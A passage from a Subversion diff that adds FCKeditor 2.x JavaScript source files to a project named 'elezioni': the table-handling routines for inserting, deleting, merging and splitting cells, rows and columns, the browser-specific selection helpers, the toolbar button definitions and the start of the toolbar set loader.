--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fcktablehandler.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fcktablehandler.js	(revision 44)
@@ -0,0 +1,383 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fcktablehandler.js
+ * 	Manage table operations.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKTableHandler = new Object() ;
+
+FCKTableHandler.InsertRow = function()
+{
+	// Get the row where the selection is placed in.	
+	var oRow = FCKSelection.MoveToAncestorNode("TR") ;
+	if ( !oRow ) return ;
+
+	// Create a clone of the row.
+	var oNewRow = oRow.cloneNode( true ) ;
+
+	// Insert the new row (copy) before of it.
+	oRow.parentNode.insertBefore( oNewRow, oRow ) ;
+
+	// Clean the row (it seems that the new row has been added after it).
+	FCKTableHandler.ClearRow( oRow ) ;
+}
+
+FCKTableHandler.DeleteRows = function( row )
+{
+	// If no row has been passed as a parameer,
+	// then get the row where the selection is placed in.	
+	if ( !row )
+		row = FCKSelection.MoveToAncestorNode("TR") ;
+	if ( !row ) return ;
+
+	// Get the row's table.	
+	var oTable = FCKTools.GetElementAscensor( row, 'TABLE' ) ;
+
+	// If just one row is available then delete the entire table.
+	if ( oTable.rows.length == 1 ) 
+	{
+		FCKTableHandler.DeleteTable( oTable ) ;
+		return ;
+	}
+
+	// Delete the row.
+	row.parentNode.removeChild( row ) ;
+}
+
+FCKTableHandler.DeleteTable = function( table )
+{
+	// If no table has been passed as a parameer,
+	// then get the table where the selection is placed in.	
+	if ( !table )
+	{
+		var table = FCKSelection.GetSelectedElement() ;
+		if ( !table || table.tagName != 'TABLE' )
+			table = FCKSelection.MoveToAncestorNode("TABLE") ;
+	}
+	if ( !table ) return ;
+
+	// Delete the table.
+	FCKSelection.SelectNode( table ) ;
+	FCKSelection.Collapse();
+	table.parentNode.removeChild( table ) ;
+}
+
+FCKTableHandler.InsertColumn = function()
+{
+	// Get the cell where the selection is placed in.
+	var oCell = FCKSelection.MoveToAncestorNode("TD") ;
+	if ( !oCell )
+	    oCell =  FCKSelection.MoveToAncestorNode("TH") ;
+
+	if ( !oCell ) return ;
+	
+	// Get the cell's table.
+	var oTable = FCKTools.GetElementAscensor( oCell, 'TABLE' ) ;
+
+	// Get the index of the column to be created (based on the cell).
+	var iIndex = oCell.cellIndex + 1 ;
+
+	// Loop throw all rows available in the table.
+	for ( var i = 0 ; i < oTable.rows.length ; i++ )
+	{
+		// Get the row.
+		var oRow = oTable.rows[i] ;
+	
+		// If the row doens't have enought cells, ignore it.
+		if ( oRow.cells.length < iIndex )
+			continue ;
+		
+		oCell = oRow.cells[iIndex-1].cloneNode(false) ;
+		
+		if ( FCKBrowserInfo.IsGecko )
+			oCell.innerHTML = GECKO_BOGUS ;
+		
+		// Get the cell that is placed in the new cell place.
+		var oBaseCell = oRow.cells[iIndex] ;
+
+		// If the cell is available (we are not in the last cell of the row).
+		if ( oBaseCell )
+			oRow.insertBefore( oCell, oBaseCell ) ;	// Insert the new cell just before of it.
+		else
+			oRow.appendChild( oCell ) ;				// Append the cell at the end of the row.
+	}
+}
+
+FCKTableHandler.DeleteColumns = function()
+{
+	// Get the cell where the selection is placed in.
+	var oCell = FCKSelection.MoveToAncestorNode('TD') || FCKSelection.MoveToAncestorNode('TH') ;
+
+	if ( !oCell ) return ;
+	
+	// Get the cell's table.	
+	var oTable = FCKTools.GetElementAscensor( oCell, 'TABLE' ) ;
+
+	// Get the cell index.
+	var iIndex = oCell.cellIndex ;
+
+	// Loop throw all rows (from down to up, because it's possible that some
+	// rows will be deleted).
+	for ( var i = oTable.rows.length - 1 ; i >= 0 ; i-- )
+	{
+		// Get the row.
+		var oRow = oTable.rows[i] ;
+		
+		// If the cell to be removed is the first one and the row has just one cell.
+		if ( iIndex == 0 && oRow.cells.length == 1 )
+		{
+			// Remove the entire row.
+			FCKTableHandler.DeleteRows( oRow ) ;
+			continue ;
+		}
+		
+		// If the cell to be removed exists the delete it.
+		if ( oRow.cells[iIndex] )
+			oRow.removeChild( oRow.cells[iIndex] ) ;
+	}
+}
+
+FCKTableHandler.InsertCell = function( cell )
+{
+	// Get the cell where the selection is placed in.
+	var oCell = cell ? cell : FCKSelection.MoveToAncestorNode("TD") ;
+	if ( !oCell ) return ;
+
+	// Create the new cell element to be added.
+	var oNewCell = FCK.EditorDocument.createElement("TD");
+	if ( FCKBrowserInfo.IsGecko )
+		oNewCell.innerHTML = GECKO_BOGUS ;
+//	oNewCell.innerHTML = "&nbsp;" ;
+
+	// If it is the last cell in the row.
+	if ( oCell.cellIndex == oCell.parentNode.cells.length - 1 )
+	{
+		// Add the new cell at the end of the row.
+		oCell.parentNode.appendChild( oNewCell ) ;
+	}
+	else
+	{
+		// Add the new cell before the next cell (after the active one).
+		oCell.parentNode.insertBefore( oNewCell, oCell.nextSibling ) ;
+	}
+	
+	return oNewCell ;
+}
+
+FCKTableHandler.DeleteCell = function( cell )
+{
+	// If this is the last cell in the row.
+	if ( cell.parentNode.cells.length == 1 )
+	{
+		// Delete the entire row.
+		FCKTableHandler.DeleteRows( FCKTools.GetElementAscensor( cell, 'TR' ) ) ;
+		return ;
+	}
+
+	// Delete the cell from the row.
+	cell.parentNode.removeChild( cell ) ;
+}
+
+FCKTableHandler.DeleteCells = function()
+{
+	var aCells = FCKTableHandler.GetSelectedCells() ;
+	
+	for ( var i = aCells.length - 1 ; i >= 0  ; i-- )
+	{
+		FCKTableHandler.DeleteCell( aCells[i] ) ;
+	}
+}
+
+FCKTableHandler.MergeCells = function()
+{
+	// Get all selected cells.
+	var aCells = FCKTableHandler.GetSelectedCells() ;
+	
+	// At least 2 cells must be selected.
+	if ( aCells.length < 2 )
+		return ;
+		
+	// The merge can occour only if the selected cells are from the same row.
+	if ( aCells[0].parentNode != aCells[aCells.length-1].parentNode )
+		return ;
+
+	// Calculate the new colSpan for the first cell.
+	var iColSpan = isNaN( aCells[0].colSpan ) ? 1 : aCells[0].colSpan ;
+
+	var sHtml = '' ;
+	var oCellsContents = FCK.EditorDocument.createDocumentFragment() ;
+	
+	for ( var i = aCells.length - 1 ; i >= 0 ; i-- )
+	{
+		var eCell = aCells[i] ;
+		
+		// Move its contents to the document fragment.
+		for ( var c = eCell.childNodes.length - 1 ; c >= 0 ; c-- )
+		{
+			var eChild = eCell.removeChild( eCell.childNodes[c] ) ;
+	
+			if ( ( eChild.hasAttribute && eChild.hasAttribute('_moz_editor_bogus_node') ) || ( eChild.getAttribute && eChild.getAttribute( 'type', 2 ) == '_moz' ) )
+				continue ;
+			
+				oCellsContents.insertBefore( eChild, oCellsContents.firstChild ) ;
+		}
+		
+		if ( i > 0 )
+		{
+			// Accumulate the colspan of the cell.
+			iColSpan += isNaN( eCell.colSpan ) ? 1 : eCell.colSpan ;
+
+			// Delete the cell.
+			FCKTableHandler.DeleteCell( eCell ) ;
+		}
+	}
+	
+	// Set the innerHTML of the remaining cell (the first one).
+	aCells[0].colSpan = iColSpan ;
+	
+	if ( FCKBrowserInfo.IsGecko && oCellsContents.childNodes.length == 0 )
+		aCells[0].innerHTML = GECKO_BOGUS ;
+	else
+		aCells[0].appendChild( oCellsContents ) ;
+}
+
+FCKTableHandler.SplitCell = function()
+{
+	// Check that just one cell is selected, otherwise return.
+	var aCells = FCKTableHandler.GetSelectedCells() ;
+	if ( aCells.length != 1 )
+		return ;
+	
+	var aMap = this._CreateTableMap( aCells[0].parentNode.parentNode ) ;
+	var iCellIndex = FCKTableHandler._GetCellIndexSpan( aMap, aCells[0].parentNode.rowIndex , aCells[0] ) ;
+		
+	var aCollCells = this._GetCollumnCells( aMap, iCellIndex ) ;
+	
+	for ( var i = 0 ; i < aCollCells.length ; i++ )
+	{
+		if ( aCollCells[i] == aCells[0] )
+		{
+			var oNewCell = this.InsertCell( aCells[0] ) ;
+			if ( !isNaN( aCells[0].rowSpan ) && aCells[0].rowSpan > 1 )
+				oNewCell.rowSpan = aCells[0].rowSpan ;
+		}
+		else
+		{
+			if ( isNaN( aCollCells[i].colSpan ) )
+				aCollCells[i].colSpan = 2 ;
+			else
+				aCollCells[i].colSpan += 1 ;
+		}
+	}
+}
+
+// Get the cell index from a TableMap.
+FCKTableHandler._GetCellIndexSpan = function( tableMap, rowIndex, cell )
+{
+	if ( tableMap.length < rowIndex + 1 )
+		return null ;
+	
+	var oRow = tableMap[ rowIndex ] ;
+	
+	for ( var c = 0 ; c < oRow.length ; c++ )
+	{
+		if ( oRow[c] == cell )
+			return c ;
+	}
+	
+	return null ;
+}
+
+// Get the cells available in a collumn of a TableMap.
+FCKTableHandler._GetCollumnCells = function( tableMap, collumnIndex )
+{
+	var aCollCells = new Array() ;
+
+	for ( var r = 0 ; r < tableMap.length ; r++ )
+	{
+		var oCell = tableMap[r][collumnIndex] ;
+		if ( oCell && ( aCollCells.length == 0 || aCollCells[ aCollCells.length - 1 ] != oCell ) )
+			aCollCells[ aCollCells.length ] = oCell ;
+	}
+	
+	return aCollCells ;
+}
+
+// This function is quite hard to explain. It creates a matrix representing all cells in a table.
+// The difference here is that the "spanned" cells (colSpan and rowSpan) are duplicated on the matrix
+// cells that are "spanned". For example, a row with 3 cells where the second cell has colSpan=2 and rowSpan=3
+// will produce a bi-dimensional matrix with the following values (representing the cells):
+//		Cell1, Cell2, Cell2, Cell 3
+//		Cell4, Cell2, Cell2, Cell 5
+FCKTableHandler._CreateTableMap = function( table )
+{
+	var aRows = table.rows ;
+	
+	// Row and Collumn counters.
+	var r = -1 ;
+	
+	var aMap = new Array() ;
+	
+	for ( var i = 0 ; i < aRows.length ; i++ )
+	{
+		r++ ;
+		if ( !aMap[r] )
+			aMap[r] = new Array() ;
+		
+		var c = -1 ;
+		
+		for ( var j = 0 ; j < aRows[i].cells.length ; j++ )
+		{
+			var oCell = aRows[i].cells[j] ;
+		
+			c++ ;
+			while ( aMap[r][c] )
+				c++ ;
+			
+			var iColSpan = isNaN( oCell.colSpan ) ? 1 : oCell.colSpan ;
+			var iRowSpan = isNaN( oCell.rowSpan ) ? 1 : oCell.rowSpan ;
+
+			for ( var rs = 0 ; rs < iRowSpan ; rs++ )
+			{
+				if ( !aMap[r + rs] )
+					aMap[r + rs] = new Array() ;
+					
+				for ( var cs = 0 ; cs < iColSpan ; cs++ )
+				{
+					aMap[r + rs][c + cs] = aRows[i].cells[j] ;
+				}
+			}
+			
+			c += iColSpan - 1 ;
+		}
+	}
+	return aMap ;
+}
+
+FCKTableHandler.ClearRow = function( tr )
+{
+	// Get the array of row's cells.
+	var aCells = tr.cells ;
+
+	// Replace the contents of each cell with "nothing".
+	for ( var i = 0 ; i < aCells.length ; i++ ) 
+	{
+		if ( FCKBrowserInfo.IsGecko )
+			aCells[i].innerHTML = GECKO_BOGUS ;
+		else
+			aCells[i].innerHTML = '' ;
+	}
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fcktablehandler_gecko.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fcktablehandler_gecko.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fcktablehandler_gecko.js	(revision 44)
@@ -0,0 +1,53 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fcktablehandler_gecko.js
+ * 	Manage table operations (IE specific).
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+FCKTableHandler.GetSelectedCells = function()
+{
+	var aCells = new Array() ;
+
+	var oSelection = FCK.EditorWindow.getSelection() ;
+
+	// If the selection is a text.
+	if ( oSelection.rangeCount == 1 && oSelection.anchorNode.nodeType == 3 )
+	{
+		var oParent = FCKTools.GetElementAscensor( oSelection.anchorNode, 'TD,TH' ) ;
+		
+		if ( oParent )
+		{
+			aCells[0] = oParent ;
+			return aCells ;
+		}	
+	}
+
+	for ( var i = 0 ; i < oSelection.rangeCount ; i++ )
+	{
+		var oRange = oSelection.getRangeAt(i) ;
+		var oCell ;
+		
+		if ( oRange.startContainer.tagName.Equals( 'TD', 'TH' ) )
+			oCell = oRange.startContainer ;
+		else
+			oCell = oRange.startContainer.childNodes[ oRange.startOffset ] ;
+		
+		if ( oCell.tagName.Equals( 'TD', 'TH' ) )
+			aCells[aCells.length] = oCell ;
+	}
+
+	return aCells ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fcktablehandler_ie.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fcktablehandler_ie.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fcktablehandler_ie.js	(revision 44)
@@ -0,0 +1,54 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fcktablehandler_ie.js
+ * 	Manage table operations (IE specific).
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+FCKTableHandler.GetSelectedCells = function()
+{
+	var aCells = new Array() ;
+
+	var oRange = FCK.EditorDocument.selection.createRange() ;
+//	var oParent = oRange.parentElement() ;
+	var oParent = FCKSelection.GetParentElement() ;
+	
+	if ( oParent && oParent.tagName.Equals( 'TD', 'TH' ) )
+		aCells[0] = oParent ;
+	else
+	{
+		var oParent = FCKSelection.MoveToAncestorNode( "TABLE" ) ;
+		
+		if ( oParent )
+		{
+			// Loops throw all cells checking if the cell is, or part of it, is inside the selection
+			// and then add it to the selected cells collection.
+			for ( var i = 0 ; i < oParent.cells.length ; i++ )
+			{
+				var oCellRange = FCK.EditorDocument.selection.createRange() ;
+				oCellRange.moveToElementText( oParent.cells[i] ) ;
+				
+				if ( oRange.inRange( oCellRange ) 
+					|| ( oRange.compareEndPoints('StartToStart',oCellRange) >= 0 &&  oRange.compareEndPoints('StartToEnd',oCellRange) <= 0 )
+					|| ( oRange.compareEndPoints('EndToStart',oCellRange) >= 0 &&  oRange.compareEndPoints('EndToEnd',oCellRange) <= 0 ) )
+				{
+					aCells[aCells.length] = oParent.cells[i] ;
+				}
+			}
+		}
+	}
+	
+	return aCells ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fcktoolbaritems.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fcktoolbaritems.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fcktoolbaritems.js	(revision 44)
@@ -0,0 +1,118 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fcktoolbaritems.js
+ * 	Toolbar items definitions.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKToolbarItems = new Object() ;
+FCKToolbarItems.LoadedItems = new Object() ;
+
+FCKToolbarItems.RegisterItem = function( itemName, item )
+{
+	this.LoadedItems[ itemName ] = item ;
+}
+
+FCKToolbarItems.GetItem = function( itemName )
+{
+	var oItem = FCKToolbarItems.LoadedItems[ itemName ] ;
+
+	if ( oItem )
+		return oItem ;
+
+	switch ( itemName )
+	{
+		case 'Source'			: oItem = new FCKToolbarButton( 'Source'	, FCKLang.Source, null, FCK_TOOLBARITEM_ICONTEXT, true, true, 1 ) ; break ;
+		case 'DocProps'			: oItem = new FCKToolbarButton( 'DocProps'	, FCKLang.DocProps, null, null, null, null, 2 ) ; break ;
+		case 'Save'				: oItem = new FCKToolbarButton( 'Save'		, FCKLang.Save, null, null, true, null, 3 ) ; break ;
+		case 'NewPage'			: oItem = new FCKToolbarButton( 'NewPage'	, FCKLang.NewPage, null, null, true, null, 4  ) ; break ;
+		case 'Preview'			: oItem = new FCKToolbarButton( 'Preview'	, FCKLang.Preview, null, null, true, null, 5  ) ; break ;
+		case 'Templates'		: oItem = new FCKToolbarButton( 'Templates'	, FCKLang.Templates, null, null, null, null, 6 ) ; break ;
+		case 'About'			: oItem = new FCKToolbarButton( 'About'		, FCKLang.About, null, null, true, null, 47  ) ; break ;
+
+		case 'Cut'				: oItem = new FCKToolbarButton( 'Cut'		, FCKLang.Cut, null, null, false, true, 7 ) ; break ;
+		case 'Copy'				: oItem = new FCKToolbarButton( 'Copy'		, FCKLang.Copy, null, null, false, true, 8 ) ; break ;
+		case 'Paste'			: oItem = new FCKToolbarButton( 'Paste'		, FCKLang.Paste, null, null, false, true, 9 ) ; break ;
+		case 'PasteText'		: oItem = new FCKToolbarButton( 'PasteText'	, FCKLang.PasteText, null, null, false, true, 10 ) ; break ;
+		case 'PasteWord'		: oItem = new FCKToolbarButton( 'PasteWord'	, FCKLang.PasteWord, null, null, false, true, 11 ) ; break ;
+		case 'Print'			: oItem = new FCKToolbarButton( 'Print'		, FCKLang.Print, null, null, false, true, 12 ) ; break ;
+		case 'SpellCheck'		: oItem = new FCKToolbarButton( 'SpellCheck', FCKLang.SpellCheck, null, null, null, null, 13 ) ; break ;
+		case 'Undo'				: oItem = new FCKToolbarButton( 'Undo'		, FCKLang.Undo, null, null, false, true, 14 ) ; break ;
+		case 'Redo'				: oItem = new FCKToolbarButton( 'Redo'		, FCKLang.Redo, null, null, false, true, 15 ) ; break ;
+		case 'SelectAll'		: oItem = new FCKToolbarButton( 'SelectAll'	, FCKLang.SelectAll, null, null, null, null, 18 ) ; break ;
+		case 'RemoveFormat'		: oItem = new FCKToolbarButton( 'RemoveFormat', FCKLang.RemoveFormat, null, null, false, true, 19 ) ; break ;
+		case 'FitWindow'		: oItem = new FCKToolbarButton( 'FitWindow'	, FCKLang.FitWindow, null, null, true, true, 66 ) ; break ;
+
+		case 'Bold'				: oItem = new FCKToolbarButton( 'Bold'		, FCKLang.Bold, null, null, false, true, 20 ) ; break ;
+		case 'Italic'			: oItem = new FCKToolbarButton( 'Italic'	, FCKLang.Italic, null, null, false, true, 21 ) ; break ;
+		case 'Underline'		: oItem = new FCKToolbarButton( 'Underline'	, FCKLang.Underline, null, null, false, true, 22 ) ; break ;
+		case 'StrikeThrough'	: oItem = new FCKToolbarButton( 'StrikeThrough'	, FCKLang.StrikeThrough, null, null, false, true, 23 ) ; break ;
+		case 'Subscript'		: oItem = new FCKToolbarButton( 'Subscript'		, FCKLang.Subscript, null, null, false, true, 24 ) ; break ;
+		case 'Superscript'		: oItem = new FCKToolbarButton( 'Superscript'	, FCKLang.Superscript, null, null, false, true, 25 ) ; break ;
+
+		case 'OrderedList'		: oItem = new FCKToolbarButton( 'InsertOrderedList'		, FCKLang.NumberedListLbl, FCKLang.NumberedList, null, false, true, 26 ) ; break ;
+		case 'UnorderedList'	: oItem = new FCKToolbarButton( 'InsertUnorderedList'	, FCKLang.BulletedListLbl, FCKLang.BulletedList, null, false, true, 27 ) ; break ;
+		case 'Outdent'			: oItem = new FCKToolbarButton( 'Outdent'	, FCKLang.DecreaseIndent, null, null, false, true, 28 ) ; break ;
+		case 'Indent'			: oItem = new FCKToolbarButton( 'Indent'	, FCKLang.IncreaseIndent, null, null, false, true, 29 ) ; break ;
+
+		case 'Link'				: oItem = new FCKToolbarButton( 'Link'		, FCKLang.InsertLinkLbl, FCKLang.InsertLink, null, false, true, 34 ) ; break ;
+		case 'Unlink'			: oItem = new FCKToolbarButton( 'Unlink'	, FCKLang.RemoveLink, null, null, false, true, 35 ) ; break ;
+		case 'Anchor'			: oItem = new FCKToolbarButton( 'Anchor'	, FCKLang.Anchor, null, null, null, null, 36 ) ; break ;
+
+		case 'Image'			: oItem = new FCKToolbarButton( 'Image'			, FCKLang.InsertImageLbl, FCKLang.InsertImage, null, false, true, 37 ) ; break ;
+		case 'Flash'			: oItem = new FCKToolbarButton( 'Flash'			, FCKLang.InsertFlashLbl, FCKLang.InsertFlash, null, false, true, 38 ) ; break ;
+		case 'Table'			: oItem = new FCKToolbarButton( 'Table'			, FCKLang.InsertTableLbl, FCKLang.InsertTable, null, false, true, 39 ) ; break ;
+		case 'SpecialChar'		: oItem = new FCKToolbarButton( 'SpecialChar'	, FCKLang.InsertSpecialCharLbl, FCKLang.InsertSpecialChar, null, false, true, 42 ) ; break ;
+		case 'Smiley'			: oItem = new FCKToolbarButton( 'Smiley'		, FCKLang.InsertSmileyLbl, FCKLang.InsertSmiley, null, false, true, 41 ) ; break ;
+		case 'PageBreak'		: oItem = new FCKToolbarButton( 'PageBreak'		, FCKLang.PageBreakLbl, FCKLang.PageBreak, null, false, true, 43 ) ; break ;
+		case 'UniversalKey'		: oItem = new FCKToolbarButton( 'UniversalKey'	, FCKLang.UniversalKeyboard , null, null, false, true, 44) ; break ;
+
+		case 'Rule'				: oItem = new FCKToolbarButton( 'InsertHorizontalRule', FCKLang.InsertLineLbl, FCKLang.InsertLine, null, false, true, 40 ) ; break ;
+
+		case 'JustifyLeft'		: oItem = new FCKToolbarButton( 'JustifyLeft'	, FCKLang.LeftJustify, null, null, false, true, 30 ) ; break ;
+		case 'JustifyCenter'	: oItem = new FCKToolbarButton( 'JustifyCenter'	, FCKLang.CenterJustify, null, null, false, true, 31 ) ; break ;
+		case 'JustifyRight'		: oItem = new FCKToolbarButton( 'JustifyRight'	, FCKLang.RightJustify, null, null, false, true, 32 ) ; break ;
+		case 'JustifyFull'		: oItem = new FCKToolbarButton( 'JustifyFull'	, FCKLang.BlockJustify, null, null, false, true, 33 ) ; break ;
+
+		case 'Style'			: oItem = new FCKToolbarStyleCombo() ; break ;
+		case 'FontName'			: oItem = new FCKToolbarFontsCombo() ; break ;
+		case 'FontSize'			: oItem = new FCKToolbarFontSizeCombo() ; break ;
+		case 'FontFormat'		: oItem = new FCKToolbarFontFormatCombo() ; break ;
+
+		case 'TextColor'		: oItem = new FCKToolbarPanelButton( 'TextColor', FCKLang.TextColor, null, null, 45 ) ; break ;
+		case 'BGColor'			: oItem = new FCKToolbarPanelButton( 'BGColor'	, FCKLang.BGColor, null, null, 46 ) ; break ;
+
+		case 'Find'				: oItem = new FCKToolbarButton( 'Find'		, FCKLang.Find, null, null, null, null, 16 ) ; break ;
+		case 'Replace'			: oItem = new FCKToolbarButton( 'Replace'	, FCKLang.Replace, null, null, null, null, 17 ) ; break ;
+
+		case 'Form'				: oItem = new FCKToolbarButton( 'Form'			, FCKLang.Form, null, null, null, null, 48 ) ; break ;
+		case 'Checkbox'			: oItem = new FCKToolbarButton( 'Checkbox'		, FCKLang.Checkbox, null, null, null, null, 49 ) ; break ;
+		case 'Radio'			: oItem = new FCKToolbarButton( 'Radio'			, FCKLang.RadioButton, null, null, null, null, 50 ) ; break ;
+		case 'TextField'		: oItem = new FCKToolbarButton( 'TextField'		, FCKLang.TextField, null, null, null, null, 51 ) ; break ;
+		case 'Textarea'			: oItem = new FCKToolbarButton( 'Textarea'		, FCKLang.Textarea, null, null, null, null, 52 ) ; break ;
+		case 'HiddenField'		: oItem = new FCKToolbarButton( 'HiddenField'	, FCKLang.HiddenField, null, null, null, null, 56 ) ; break ;
+		case 'Button'			: oItem = new FCKToolbarButton( 'Button'		, FCKLang.Button, null, null, null, null, 54 ) ; break ;
+		case 'Select'			: oItem = new FCKToolbarButton( 'Select'		, FCKLang.SelectionField, null, null, null, null, 53 ) ; break ;
+		case 'ImageButton'		: oItem = new FCKToolbarButton( 'ImageButton'	, FCKLang.ImageButton, null, null, null, null, 55 ) ; break ;
+
+		default:
+			alert( FCKLang.UnknownToolbarItem.replace( /%1/g, itemName ) ) ;
+			return null ;
+	}
+
+	FCKToolbarItems.LoadedItems[ itemName ] = oItem ;
+
+	return oItem ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fcktoolbarset.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fcktoolbarset.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fcktoolbarset.js	(revision 44)
@@ -0,0 +1,352 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fcktoolbarset.js
+ * 	Defines the FCKToolbarSet object that is used to load and draw the 
+ * 	toolbar.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+function FCKToolbarSet_Create( overhideLocation )
+{
+	var oToolbarSet ;
+	
+	var sLocation = overhideLocation || FCKConfig.ToolbarLocation ;
+	switch ( sLocation )
+	{
+		case 'In' :
+				document.getElementById( 'xToolbarRow' ).style.display = '' ;
+				oToolbarSet = new FCKToolbarSet( document ) ;
+			break ;
+			
+//		case 'OutTop' :
+			// Not supported.
+			
+		default :
+			FCK.Events.AttachEvent( 'OnBlur', FCK_OnBlur ) ;
+			FCK.Events.AttachEvent( 'OnFocus', FCK_OnFocus ) ;
+
+			var eToolbarTarget ;
+			
+			// Out:[TargetWindow]([TargetId])
+			var oOutMatch = sLocation.match( /^Out:(.+)\((\w+)\)$/ ) ;
+			if ( oOutMatch )
+			{
+				eToolbarTarget = eval( 'parent.' + oOutMatch[1] ).document.getElementById( oOutMatch[2] ) ;
+			}
+			else
+			{
+				// Out:[TargetId]
+				oOutMatch = sLocation.match( /^Out:(\w+)$/ ) ;
+				if ( oOutMatch )
+					eToolbarTarget = parent.document.getElementById( oOutMatch[1] ) ;
+			}
+			
+			if ( !eToolbarTarget )
+			{
+				alert( 'Invalid value for "ToolbarLocation"' ) ;
+				return this._Init( 'In' ) ;
+			}
+			
+			// If it is a shared toolbar, it may be already available in the target element.
+			if ( oToolbarSet = eToolbarTarget.__FCKToolbarSet )
+				break ;
+
+			// Create the IFRAME that will hold the toolbar inside the target element.
+			var eToolbarIFrame = FCKTools.GetElementDocument( eToolbarTarget ).createElement( 'iframe' ) ;
+			eToolbarIFrame.frameBorder = 0 ;
+			eToolbarIFrame.width = '100%' ;
+			eToolbarIFrame.height = '10' ;
+			eToolbarTarget.appendChild( eToolbarIFrame ) ;
+			eToolbarIFrame.unselectable = 'on' ;
+			
+			// Write the basic HTML for the toolbar (copy from the editor main page).
+			var eTargetDocument = eToolbarIFrame.contentWindow.document ;
+			eTargetDocument.open() ;
+			eTargetDocument.write( '<html><head><script type="text/javascript"> window.onload = window.onresize = function() { window.frameElement.height = document.body.scrollHeight ; } </script></head><body style="overflow: hidden">' + document.getElementById( 'xToolbarSpace' ).innerHTML + '</body></html>' ) ;
+			eTargetDocument.close() ;
+			
+			eTargetDocument.oncontextmenu = FCKTools.CancelEvent ;
+
+			// Load external resources (must be done here, otherwise Firefox will not
+			// have the document DOM ready to be used right away.
+			FCKTools.AppendStyleSheet( eTargetDocument, FCKConfig.SkinPath + 'fck_editor.css' ) ;
+			
+			oToolbarSet = eToolbarTarget.__FCKToolbarSet = new FCKToolbarSet( eTargetDocument ) ;
+			oToolbarSet._IFrame = eToolbarIFrame ;
+
+			if ( FCK.IECleanup )
+				FCK.IECleanup.AddItem( eToolbarTarget, FCKToolbarSet_Target_Cleanup ) ;
+	}
+	
+	oToolbarSet.CurrentInstance = FCK ;
+
+	FCK.AttachToOnSelectionChange( oToolbarSet.RefreshItemsState ) ;
+
+	return oToolbarSet ;
+}
+
+function FCK_OnBlur( editorInstance )
+{
+	var eToolbarSet = editorInstance.ToolbarSet ;
+	
+	if ( eToolbarSet.CurrentInstance == editorInstance )
+		eToolbarSet.Disable() ;
+}
+
+function FCK_OnFocus( editorInstance )
+{
+	var oToolbarset = editorInstance.ToolbarSet ;
+	var oInstance = editorInstance || FCK ;
+	
+	// Unregister the toolbar window from the current instance.
+	oToolbarset.CurrentInstance.FocusManager.RemoveWindow( oToolbarset._IFrame.contentWindow ) ;
+	
+	// Set the new current instance.
+	oToolbarset.CurrentInstance = oInstance ;
+	
+	// Register the toolbar window in the current instance.
+	oInstance.FocusManager.AddWindow( oToolbarset._IFrame.contentWindow, true ) ;
+
+	oToolbarset.Enable() ;
+}
+
+function FCKToolbarSet_Cleanup()
+{
+	this._TargetElement = null ;
+	this._IFrame = null ;
+}
+
+function FCKToolbarSet_Target_Cleanup()
+{
+	this.__FCKToolbarSet = null ;
+}
+
+var FCKToolbarSet = function( targetDocument )
+{
+	this._Document = targetDocument ; 
+
+	// Get the element that will hold the elements structure.
